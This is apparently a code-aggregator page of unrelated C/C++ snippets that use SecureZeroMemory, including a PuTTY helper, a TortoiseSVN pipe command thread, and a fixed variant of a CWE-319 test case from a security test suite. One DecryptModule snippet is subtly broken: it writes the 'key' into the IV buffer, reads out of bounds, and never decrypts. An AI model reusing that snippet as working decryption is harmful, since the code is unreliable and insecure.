        Render_SetDebugName(m_pRenderTargetView,  "render target view");

        ID3D11ShaderResourceView* colorBufferView;
        hr = pd3dDevice->CreateShaderResourceView(colorBuffer, NULL, &colorBufferView);
        if (Logger::IsFailureLog(hr, L"CreateShaderResourceView"))
        {
            return;
        }

        Render_SetDebugName(colorBufferView,  "color buffer shader-view");

        m_pColorBuffer = new Texture(colorBuffer,colorBufferView);
    }
 }
Example #26
0
 Impl() : m_field(0) {
   unsigned char key[20];
   PWSrand::GetInstance()->GetRandomData(key, sizeof(key));
   m_bf = new BlowFish(key, sizeof(key));
   SecureZeroMemory(key, sizeof(key));
 }
Example #27
0
/*
 * Windows implementation of smemclr (see misc.c) using SecureZeroMemory.
 */
void smemclr(void *b, size_t n) {
    if (b && n > 0)
        SecureZeroMemory(b, n);
}
// Decrypt a module using the license key.
bool ModuleManager::DecryptModule(const char *Filename, const char *License)
{
    uint8_t EncryptionKey[24]{};
    uint8_t InitialVector[24]{};
    uint64_t HashStorage{};
    uint32_t Modulecount{ ModuleList.size() };
    onModule *NewModule;
    FILE *OnDiskModule;
    std::string Path;

    // Create the path.
    Path.append("Plugins\\OpennetStorage\\Modules\\");
    Path.append(Filename);

    // Load from disk instead of memory.
    if (strstr(GetCommandLineA(), "-MODULES_FROM_DISK"))
    {
        // Loadlibrary wants an extension.
        Path.append(".dll");

        // Add our new module to the vector.
        NewModule = new onModule();
        NewModule->Filename = Filename;
        NewModule->LoadedFromDisk = true;
        NewModule->ModuleHandle.Disk = LoadLibraryA(Path.c_str());

        if (NewModule->ModuleHandle.Disk)
            ModuleList.push_back(NewModule);
        else
        {
            fDebugPrint("Failed to read a onModule from disk with error: %i", GetLastError());
            delete NewModule;
        }
            

        return ModuleList.size() > Modulecount;
    }

    // Read the file from disk.
    if (fopen_s(&OnDiskModule, Path.c_str(), "rb"))
    {
        fDebugPrint("Failed to read a onModule from disk with error: %i", GetLastError());
        return false;
    }
    else
    {
        uint32_t Filesize{};
        uint8_t *Filebuffer;

        // Get the filesize.
        fseek(OnDiskModule, 0, SEEK_END);
        Filesize = ftell(OnDiskModule);
        fseek(OnDiskModule, 0, SEEK_SET);

        // Create a filebuffer and read.
        Filebuffer = new uint8_t[Filesize + 1]();
        if (fread_s(Filebuffer, Filesize + 1, 1, Filesize, OnDiskModule) == Filesize)
        {
            // If no license is supplied, we assume it's not encrypted.
            if (strlen(License) > 4)
            {
                // Generate an IV for the decryption.
                HashStorage = FNV1_64Hash((void *)License, strlen(License));
                memcpy(InitialVector + 0, &HashStorage, 8);
                HashStorage = FNV1_64Hash(&HashStorage + 0, 4);
                memcpy(InitialVector + 8, &HashStorage, 8);
                HashStorage = FNV1_64Hash(&HashStorage + 0, 4);
                memcpy(InitialVector + 16, &HashStorage, 8);

                // Generate a key for the decryption.
                HashStorage = FNV1_64Hash((void *)License, strlen(License));
                memcpy(InitialVector + 0, &HashStorage, 8);
                HashStorage = FNV1_64Hash(&HashStorage + 4, 4);
                memcpy(InitialVector + 8, &HashStorage, 8);
                HashStorage = FNV1_64Hash(&HashStorage + 4, 4);
                memcpy(InitialVector + 16, &HashStorage, 8);

                // TODO, decrypt.
            }

            // Add our new module to the vector.
            NewModule = new onModule();
            NewModule->Filename = Filename;
            NewModule->LoadedFromDisk = false;
            NewModule->DecryptedFile.append(Filebuffer, Filesize);
            ModuleList.push_back(NewModule);
        }

        // Deallocate the buffer.
        SecureZeroMemory(Filebuffer, Filesize + 1);
        delete[] Filebuffer;
    }

    return ModuleList.size() > Modulecount;
};
/* goodB2G uses the BadSource with the GoodSink */
void CWE319_Cleartext_Tx_Sensitive_Info__w32_wchar_t_connect_socket_68b_goodB2GSink()
{
    wchar_t * password = CWE319_Cleartext_Tx_Sensitive_Info__w32_wchar_t_connect_socket_68_goodB2GData;
    {
        HCRYPTPROV hCryptProv = 0;
        HCRYPTHASH hHash = 0;
        HCRYPTKEY hKey = 0;
        char hashData[100] = HASH_INPUT;
        HANDLE pHandle;
        wchar_t * username = L"User";
        wchar_t * domain = L"Domain";
        do
        {
            BYTE payload[(100 - 1) * sizeof(wchar_t)]; /* same size as password except for NUL terminator */
            DWORD payloadBytes;
            /* Hex-decode the input string into raw bytes */
            payloadBytes = decodeHexWChars(payload, sizeof(payload), password);
            /* Wipe the hex string, to prevent it from being given to LogonUserW if
             * any of the crypto calls fail. */
            SecureZeroMemory(password, 100 * sizeof(wchar_t));
            /* Aquire a Context */
            if(!CryptAcquireContext(&hCryptProv, NULL, MS_ENH_RSA_AES_PROV, PROV_RSA_AES, 0))
            {
                break;
            }
            /* Create hash handle */
            if(!CryptCreateHash(hCryptProv, CALG_SHA_256, 0, 0, &hHash))
            {
                break;
            }
            /* Hash the input string */
            if(!CryptHashData(hHash, (BYTE*)hashData, strlen(hashData), 0))
            {
                break;
            }
            /* Derive an AES key from the hash */
            if(!CryptDeriveKey(hCryptProv, CALG_AES_256, hHash, 0, &hKey))
            {
                break;
            }
            /* FIX: Decrypt the password */
            if(!CryptDecrypt(hKey, 0, 1, 0, payload, &payloadBytes))
            {
                break;
            }
            /* Copy back into password and NUL-terminate */
            memcpy(password, payload, payloadBytes);
            password[payloadBytes / sizeof(wchar_t)] = L'\0';
        }
        while (0);
        if (hKey)
        {
            CryptDestroyKey(hKey);
        }
        if (hHash)
        {
            CryptDestroyHash(hHash);
        }
        if (hCryptProv)
        {
            CryptReleaseContext(hCryptProv, 0);
        }
        /* Use the password in LogonUser() to establish that it is "sensitive" */
        if (LogonUserW(
                    username,
                    domain,
                    password,
                    LOGON32_LOGON_NETWORK,
                    LOGON32_PROVIDER_DEFAULT,
                    &pHandle) != 0)
        {
            printLine("User logged in successfully.");
            CloseHandle(pHandle);
        }
        else
        {
            printLine("Unable to login.");
        }
    }
}
Example #30
0
unsigned int __stdcall CommandThread(LPVOID lpvParam)
{
    CCrashReportThread crashthread;
    CTraceToOutputDebugString::Instance()(__FUNCTION__ ": CommandThread started\n");
    DWORD cbBytesRead;
    CAutoFile hPipe;

    // The thread's parameter is a handle to a pipe instance.

    hPipe = std::move((HANDLE) lpvParam);

    while (bRun)
    {
        // Read client requests from the pipe.
        TSVNCacheCommand command;
        BOOL fSuccess = ReadFile(
            hPipe,              // handle to pipe
            &command,           // buffer to receive data
            sizeof(command),    // size of buffer
            &cbBytesRead,       // number of bytes read
            NULL);              // not overlapped I/O

        if (! fSuccess || cbBytesRead == 0)
        {
            DisconnectNamedPipe(hPipe);
            CTraceToOutputDebugString::Instance()(__FUNCTION__ ": Command thread exited\n");
            return 1;
        }

        // sanitize request:
        // * Make sure the string properly 0-terminated
        //   by resetting overlong paths to the empty string
        // * Set all trailing chars to 0.
        // This is more or less paranoia code but maybe something
        // is feeding garbage into our queue.
        for (size_t i = MAX_PATH+1; (i > 0) && (command.path[i-1] != 0); --i)
            command.path[i-1] = 0;

        size_t pathLength = wcslen (command.path);
        SecureZeroMemory ( command.path + pathLength
                         , sizeof (command.path) - pathLength * sizeof (TCHAR));

        // process request
        switch (command.command)
        {
            case TSVNCACHECOMMAND_END:
                FlushFileBuffers(hPipe);
                DisconnectNamedPipe(hPipe);
                CTraceToOutputDebugString::Instance()(__FUNCTION__ ": Command thread exited\n");
                return 0;
            case TSVNCACHECOMMAND_CRAWL:
                {
                    CTSVNPath changedpath;
                    changedpath.SetFromWin(command.path, true);
                    // remove the path from our cache - that will 'invalidate' it.
                    {
                        CAutoWriteLock writeLock(CSVNStatusCache::Instance().GetGuard());
                        CSVNStatusCache::Instance().RemoveCacheForPath(changedpath);
                    }
                    CSVNStatusCache::Instance().AddFolderForCrawling(changedpath.GetDirectory());
                }
                break;
            case TSVNCACHECOMMAND_REFRESHALL:
                {
                    CAutoWriteLock writeLock(CSVNStatusCache::Instance().GetGuard());
                    CSVNStatusCache::Instance().Refresh();
                }
                break;
            case TSVNCACHECOMMAND_RELEASE:
                {
                    CTSVNPath changedpath;
                    changedpath.SetFromWin(command.path, true);
                    CTraceToOutputDebugString::Instance()(_T(__FUNCTION__) L": release handle for path %s\n", changedpath.GetWinPath());
                    CAutoWriteLock writeLock(CSVNStatusCache::Instance().GetGuard());
                    CSVNStatusCache::Instance().CloseWatcherHandles(changedpath);
                    CSVNStatusCache::Instance().RemoveCacheForPath(changedpath);
                }
                break;
            case TSVNCACHECOMMAND_BLOCK:
                {
                    CTSVNPath changedpath;
                    changedpath.SetFromWin(command.path);
                    CTraceToOutputDebugString::Instance()(_T(__FUNCTION__) L": block path %s\n", changedpath.GetWinPath());
                    CSVNStatusCache::Instance().BlockPath(changedpath, false);
                }
                break;
            case TSVNCACHECOMMAND_UNBLOCK:
                {
                    CTSVNPath changedpath;
                    changedpath.SetFromWin(command.path);
                    CTraceToOutputDebugString::Instance()(_T(__FUNCTION__) L": unblock path %s\n", changedpath.GetWinPath());
                    CSVNStatusCache::Instance().UnBlockPath(changedpath);
                }
                break;

        }
    }

    // Flush the pipe to allow the client to read the pipe's contents
    // before disconnecting. Then disconnect the pipe, and close the
    // handle to this pipe instance.

    FlushFileBuffers(hPipe);
    DisconnectNamedPipe(hPipe);
    CTraceToOutputDebugString::Instance()(__FUNCTION__ ": Command thread exited\n");
    return 0;
}